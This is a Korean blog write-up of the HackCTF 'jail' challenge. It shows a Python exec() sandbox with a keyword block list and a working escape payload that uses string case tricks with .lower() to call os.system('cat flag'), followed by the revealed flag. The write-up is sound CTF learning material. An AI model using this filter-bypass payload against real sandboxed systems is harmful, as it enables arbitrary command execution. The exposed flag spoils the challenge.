블로그 이전했습니다. https://jeongzero.oopy.io/
[HackCTF] 탈옥
본문 바로가기
워게임/HackCTF

[HackCTF] 탈옥

728x90

1. 문제


1) 문제 확인

╰─$ nc ctf.j0n9hyun.xyz 9002                                                                                       130 ↵
#! /usr/bin/python3
def main():
    print(open(__file__).read())
    print("Welcome to Jail World!")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("Filtered Keyword.")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()

저번 csaw인가 거서 처음 jail break를 봤었다. 필터링을 통과해서 쉘을 실행시키면 된다

2. 접근방법


파이썬에서 기본적으로 len, type 같은 모듈들은 import를 해주지 않아도 사용가능하다. 이는 내장함수인 builtin 때문엔데, dir(__builtins__) 으로 확인가능하다.

결국, 빌드인으로 import를 가져오고,

import os

os.system('cat flag')를 조지면 된다. 또한 필터링은 우회하기 위해 대문자로 쓰고 lower를 이용해야한다.

3. 풀이


__builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")

def main():
    print(open(__file__).read())
    print("Welcome to Jail World!")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("Filtered Keyword.")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()

Welcome to Jail World!
>>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
HackCTF{Y0u_4re_th3_re4l_j4ilbr34k3r!}

4. 몰랐던 개념


728x90

'워게임 > HackCTF' 카테고리의 다른 글

[HackCTF] childfsb  (0) 2021.02.24
[HackCTF] BabyMips  (0) 2020.12.04
[HackCTF] static  (0) 2020.12.03
[HackCTF] keygen  (0) 2020.12.02
[HackCTF] strncmp  (0) 2020.12.01